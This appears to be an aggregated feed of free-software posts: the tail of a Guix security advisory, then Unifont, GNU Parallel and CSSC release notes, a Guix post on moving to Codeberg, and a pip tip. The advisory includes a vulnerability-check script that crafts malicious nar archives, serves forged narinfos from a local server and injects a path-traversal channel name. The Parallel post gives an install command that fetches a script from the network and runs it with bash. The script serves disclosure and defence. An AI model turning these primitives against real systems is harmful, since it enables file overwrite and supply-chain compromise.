Fixing vulnerability (1) involved hardening restore-file so that it detects and rejects invalid directory entry names. Specifically, entry names must be unique, in strictly ascending order, not empty, not equal to "." or "..", and not containing "/" or null bytes. Additionally, procedures currently used as the #:dump-file argument to restore-file were modified to insist on creating the target file afresh and never follow symbolic links.

The inspiration for that last change came from looking at the implementation of nar-parsing in parse in nix/libutil/archive.cc, where it was determined that that implementation was not vulnerable, but was about as close to vulnerable as it could get without actually being vulnerable, only barely being saved by the fact that the filesystem primitives used all refused to follow symbolic links or accept an existing target (see this commit message for details). To avoid wasting another 3 hours trying to determine this the next time anyone tries looking at it with a critical eye, that implementation was also rewritten to be stricter and more obviously secure. It is perhaps not surprising that the same code led to CVE-2024-45593 in Nix when it was modified to use more lax filesystem primitives from std::filesystem.

Fixing vulnerability (2) involved modifying fetch-narinfos to not include a result if it didn't match what was asked for.

Fixing vulnerability (3) involved modifying (guix scripts substitute) to verify that all substitute urls from untrusted sources are not file:// urls, and that all nar urls in narinfos are not file:// urls (except when a special flag is set, which is only done in the test suite).

Some additional hardening was also done, so that substitutes are restored inside a temporary directory and only moved to their final store item path once the hash is verified. This still restores them before verifying the hash, so it wouldn't have prevented (1), but it does ensure that attacker-controlled contents are not present at the path of what may have once been a valid store item (and may still be considered by some users or programs to be valid if they haven't taken note of a recent garbage collection). The narinfo-reading code was also modified to reject as invalid any narinfo file whose StorePath, References, or Deriver field contained a path that did not obey the store item path syntax requirements. A nice side-effect of this is that we now have procedures for verifying the syntax of store item paths.

Fixing vulnerability (4) involved changing how cache-key was computed by default for users of authenticate-repository. Rather than being derived from the name of the channel or (for guix git authenticate) the url of the repository, cache-key is now derived from the ID of the introductory commit, which is a very safe hexadecimal string. This also avoids some strange and potentially-dangerous behavior in which cached authenticated commit IDs could be shared between two channels that happen to share a name but are otherwise completely different. Additional hardening of authenticate-repository was added to turn all occurrences of . in cache-key into - so that even if non-default cache keys were provided, it would not be possible to escape the cache directory.

Upgrading

Due to the severity of this security advisory, we strongly recommend all users to upgrade guix and guix-daemon immediately.

Note: The astute reader may have noticed a dilemma: the fastest way to get updates is through substitutes, and the way to mitigate the most severe of the remotely-exploitable vulnerabilities is to disable substitutes. Whether to pass --no-substitutes is therefore a judgment call that must take into consideration how long it has been since these vulnerabilities were made public, how exposed the network paths between your system and your substitute servers are, how feasible it is for the system in question to build guix by itself (which will depend in part on how long it has been since you last upgraded), whether the system in question has multiple users, and of course, your threat model.

For Guix System, the procedure is to reconfigure the system after a guix pull, either restarting guix-daemon or rebooting. For example:

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice.

For Guix on another distribution, one needs to guix pull with sudo, as the guix-daemon runs as root, and restart the guix-daemon service, as documented. For example, on a system using systemd to manage services, run:

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro's package of Guix (as opposed to having used the install script) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions.

Timeline

• May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability with Christopher Baines and Andreas Enge; Christopher sends details to the Security Response Team.
• June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who start working on a fix.
• June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability of guix substitute.
• June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it asked for.
• June 24th, 2026. Following an issue reported by Sergio Pastor-Pérez, Ludovic Courtès identifies the pull and time-machine vulnerability and works on a fix. For the sake of convenience and because hints were available publicly, it was decided that it should be promptly fixed and disclosed at the same time as the other vulnerabilities.

Conclusion

We would like to thank Jörg Thalheim for sharing the restore-file vulnerability, Christopher Baines for verifying it and informing the Security Response Team, and Andreas Enge for ensuring that it reached Ludovic and Caleb and facilitating ongoing communication with Jörg.

We would also like to thank John Kehayias of the Security Response Team for coordination and for requesting CVE IDs.

Test for presence of vulnerability

Below is code to check if your guix-daemon is vulnerable to the first three vulnerabilities and your guix is vulnerable to the fourth. Save this file as guix-substitute-and-pull-vuln-check.scm and run following the instructions above, in "Mitigation."

(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store
                          
                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))



;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (if (zero? (getuid))
      "Unknown, can't test as root because its settings are trusted"
      (call-with-temporary-directory
       (lambda (directory)
         (define testfifo
           (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
         (define opened? (make-atomic-box #f))
         (define store-item
           (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

         (define open-thread
           (begin
             (mknod testfifo 'fifo #o744 0)
             (call-with-new-thread
              (lambda ()
                (call-with-port (open testfifo O_WRONLY)
                  (lambda (port)
                    (atomic-box-set! opened? #t)))))))

         (with-store store
           (set-build-options store
                              #:substitute-urls (list (string-append "file://" directory)))
           (guard (c ((store-error? c)
                      (cancel-thread open-thread)
                      (delete-file testfifo)
                      ;; even though the file it is trying to open no longer
                      ;; exists, the kernel doesn't give a result to open-thread
                      ;; until someone ptraces it (or maybe sends a signal or
                      ;; something).
                      ;; (join-thread open-thread)
                      (atomic-box-ref opened?)))
             (substitutable-paths store (list store-item))
             (error "not supposed to get here!\n")))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))

28 June 2026 Unifont 17.0.05 is now available.  This is a minor release aligned with Unicode 17.0.0.

This release notably includes separate BDF, PCF, and OpenType font files with Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  See the ChangeLog file for details.

Download this release from GNU server mirrors at:

     https://ftpmirror ... /unifont-17.0.05/

or if that fails,

     https://ftp.gnu.o ... /unifont-17.0.05/

or, as a last resort,

     ftp://ftp.gnu.org ... /unifont-17.0.05/

These files are also available on the unifoundry.com website:

     https://unifoundr ... /unifont-17.0.05/

Font files are in the subdirectory

     https://unifoundr ... 0.05/font-builds/

A more detailed description of font changes is available at

      https://unifoundr ... nifont/index.html

and of utility program changes at

      https://unifoundr ... nt-utilities.html

Information about Hangul modifications is at

      https://unifoundr ... hangul/index.html

and

      http://unifoundry ... l-generation.html

GNU Parallel 20260622 ('Rape Gang Inquiry') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

  GNU Parallel is much nicer than xargs and more powerful ... definitely recommended!
    -- boomertsfx@reddit

New in this release:

• testsuite reorganized.
• Bug fixes and man page updates.

GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.

About GNU Parallel

GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

  find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

• Give a demo at your local user group/team/colleagues
• Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
• Get the merchandise https://gnuparall ... igns/gnu-parallel
• Request or write a review for your favourite blog or magazine
• Request or build a package for your favourite distribution (if it is not already there)
• Invite me for your next conference

If you use programs that use GNU Parallel for research:

• Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

• (Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.

About GNU Niceload

GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.

The non-obvious choice

For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.

Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.

A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.

Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.

Making decisions

As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.

It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.

GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.

The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.

One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.

Switchover

As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).

Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.

For some of us, the main difficulty was to adapt to the new workflow. For those who prefer a workflow out of the browser, the good news is that Emacs interfaces—fj.el and more recently Emacs-Forgejo—have been getting better everyday thanks to their amazing developers; the ability to create pull requests using the AGit workflow has also helped bring peace and harmony.

The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.

In September 2025, an instance of Cuirass was set up at pulls.ci.guix.gnu.org to finally build pull requests. This was initially seen as a stopgap because of several limitations compared to what qa.guix.gnu.org would previously do—such as the fact that packages now get built for a single architecture. However, one advantage for newcomers is that feedback is immediately visible: Cuirass sends reports indicating success or failure directly in pull requests as guix-cuirass-bot.

Renewed collaboration

One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?

A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:

(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)

Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.

The number of monthly authors, including new authors, keeps growing. There was a peak both in the number of authors and number of newcomers in June 2025, right after the migration to Codeberg, but for the rest growth appears to be comparable in the 2025–2026 half and in the 2024–2025 half. Guix keeps attracting new contributors but there wasn’t a significant “Codeberg effect”.

The slight increase in number of monthly committers compared to the sharper increase in number of authors might suggest that committers are more “productive”, handling more contributions.

Since the user survey highlighted some contributors were frustrated by the delay or the lack of response on contributed patches—a problem that many free software projects struggle with—a question is how well Guix deals with that today. The graph below shows the creation and closing rate of pull requests per month over the past year, together with the monthly backlog (pull requests opened the month before or earlier and still opened). This data was acquired using the amazing Forgejo interface.

This again shows an impressive rate of incoming code—more than 500 pull requests opened each month!—and an equally impressive, but slightly lower, merge rate, leading to a constantly-increasing backlog. A similar backlog was observed on Debbugs before. Today, there are about 639 opened pull requests out of 6,459 ever opened, or 10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k ever opened, or 2.5%. This concerning backlog in Guix can perhaps be attributed to excessive friction and/or insufficient continuous integration feedback.

One source of friction is the requirement for each commit to be signed by an authorized committer. Unlike many other projects, including Nixpkgs, this requirement means that a person needs to take responsibility and to apply and sign changes they merge, as opposed to just clicking the “Merge” button. In a way, we’re trading developer convenience for user security. It’s a tradeoff we’re willing to make because we care about securing the “software supply chain”, but we have yet to see if this cost can be mitigated in some way.

On the bright side, and although this is harder to measure, one positive impact of the move to Codeberg is that activity within the project is more legible. I already mentioned continuous integration that provides feedback directly in pull requests, such that contributors immediately discover it, but there’s more.

Guix teams are reified as Codeberg teams and their scope is given the CODEOWNERS file such that the right people are pinged. A bot also adds a corresponding label—e.g., the team-python label for what’s in the scope of the Python team—allowing for issue and pull request filtering by label. However, teams are not notified of issues tagged with the corresponding label, which is irritating.

Other features such as cross-references among issues/pull requests as well as milestones also appear to facilitate collaboration.

Outlook

This is nice and all but there’s still room for improvement.

Our infrastructure could use some help. Build power for pulls.ci.guix.gnu.org should be increased, ideally with also more diversity—building for non-x86 architectures would be great! Cuirass itself has a number of shortcomings; some are being addressed for the upcoming 1.4.x series but there’s more work to be done. And also, pulls.ci.guix.gnu.org remains very much package-oriented; it would be nice, when appropriate, to run system tests as well.

The packager workflow still leaves a bit to be desired, in particular with regards to topic branches and world rebuild scheduling, which is still mostly tied to… our otherwise retired bug tracker.

We also want to remain good citizens, not causing excessive load on Codeberg servers (oops!) and keeping an eye on storage use: a single “fork” of Guix could exceed Codeberg’s new per-user quota of 750 MiB. The solution would be to require new contributors to use the AGit workflow to create pull requests. AGit is already popular among Guix contributors; however, the idea of requiring it is seen as a “downgrade” by some because it lacks the familiarity of the “regular” pull request workflow. One way to mitigate that might be to make it more discoverable with an “AGit fork” icon as was done for Gentoo.

Part of being a good citizen, for Guix and for Codeberg e.V., is listening to and accounting for one another’s concern, and this has worked beautifully so far. Guix Foundation recently voted to become a supporting (non-voting) member of Codeberg e.V. as a way to express gratitude and support.

Oh, breaking news: a pull request adding Forgejo and a service to set it up on Guix has just been submitted! Purely declarative configuration, fully reproducible deployment of a forge—can you imagine⁈ Symbiosis at play.

Acknowledgments

Many thanks to Steve “Futurile” George, Noé Lopez, and Maxim Cournoyer for reviewing an earlier draft of this post.

Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.h to /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:

ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include

This is to announce CSSC-1.5.0-rc3, a beta release.

This is a release candidate for a future stable 1.5.0 release.

There have been 46 commits by 2 people in the 109 weeks since CSSC-1.5.0-rc2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

  Greg A. Woods (1)
  Paul Bryce (2)
  James Youngman (43)

James
==================================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... -1.5.0-rc3.tar.gz
  https://alpha.gnu ... .0-rc3.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0-rc3.tar.gz
  SHA256 sum:   a78bc23062b11c33a858acd8a08c173ea2957f763f5b7ddb2990c0fee7c71cec
  SHA3-256 sum: 20733dd3c517c1bb44c67088b1a208ebf00e1eab4ab21e806bd963869faf918a

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0-rc3.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
